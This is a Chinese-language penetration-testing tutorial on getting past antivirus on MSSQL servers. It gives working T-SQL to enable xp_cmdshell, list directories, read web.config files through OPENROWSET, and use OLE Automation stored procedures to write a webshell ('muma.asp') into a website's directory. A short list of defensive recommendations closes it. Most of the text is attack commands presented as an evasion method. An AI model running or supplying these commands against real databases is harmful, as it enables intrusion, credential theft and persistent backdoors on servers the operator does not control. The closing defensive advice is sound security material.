绕过杀软的另类思路
字数 923 2025-08-22 12:23:36
绕过杀软的另类思路:通过OLE自动化存储过程写入WebShell
0x1 背景介绍
在渗透测试过程中,当获取到MSSQL数据库凭据后,常见的提权方法是使用xp_cmdshell执行系统命令。然而,当目标系统存在杀毒软件时,这种方法往往会被拦截。本文介绍一种绕过杀软的替代方法:使用OLE自动化存储过程写入WebShell。
0x2 前置条件
-
数据库权限要求:
- 必须是sysadmin角色成员
- 可通过以下SQL语句验证:
返回1表示是sysadmin角色成员Select IS_SRVROLEMEMBER('sysadmin');
-
需要获取的信息:
- 网站绝对路径
- 数据库支持OLE自动化存储过程
0x3 传统方法尝试与失败
3.1 xp_cmdshell方法
-
启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -
执行命令测试:
exec master..xp_cmdshell 'whoami';- 可能失败原因:
- 权限不足
- 杀软/防火墙拦截
- 可能失败原因:
3.2 获取网站路径
使用xp_dirtree获取目录结构:
-- 列出C盘下Temp目录所有文件
EXEC xp_dirtree 'C:\Temp', 1, 1;
-- 列出C盘下Temp目录所有文件夹
EXEC xp_dirtree 'C:\Temp', 1;
3.3 读取文件内容
使用OPENROWSET读取文件:
-- 启用Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
-- 读取文件内容
SELECT * FROM OPENROWSET(BULK 'd:\TwApi\Wuye\web.config', SINGLE_CLOB) AS FileContent;
0x4 OLE自动化存储过程写入WebShell
4.1 启用OLE自动化存储过程
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
4.2 写入WebShell
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\xxxx\muma.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'木马文件内容'
4.3 方法优势
-
绕过杀软检测:
- 通过数据库服务权限(通常是系统级别)创建文件
- 没有典型的网络传输过程,规避杀软监控
-
文件持久性:
- 杀软可能无法直接操作或修改数据库生成的文件
- 相比普通上传的文件(继承当前用户权限)更难被查杀
0x5 防御建议
-
数据库安全配置:
- 禁用不必要的存储过程(xp_cmdshell、OLE自动化等)
- 限制sysadmin角色成员数量
-
文件系统监控:
- 监控Web目录下的文件创建操作
- 设置适当的文件权限,防止数据库账户写入Web目录
-
杀毒软件配置:
- 确保杀软具有足够权限扫描所有文件
- 监控异常的文件创建行为,而非仅依赖特征检测
0x6 总结
通过OLE自动化存储过程写入WebShell是一种有效的绕过杀软的方法,其关键在于:
- 利用数据库服务的高权限创建文件
- 绕过常规的文件传输监控机制
- 创建的文件可能因权限问题难以被杀软处理
这种方法适用于当传统方法(xp_cmdshell等)被拦截时的替代方案,但需要满足特定的前置条件。防御方应关注数据库安全配置和文件系统监控,以防范此类攻击。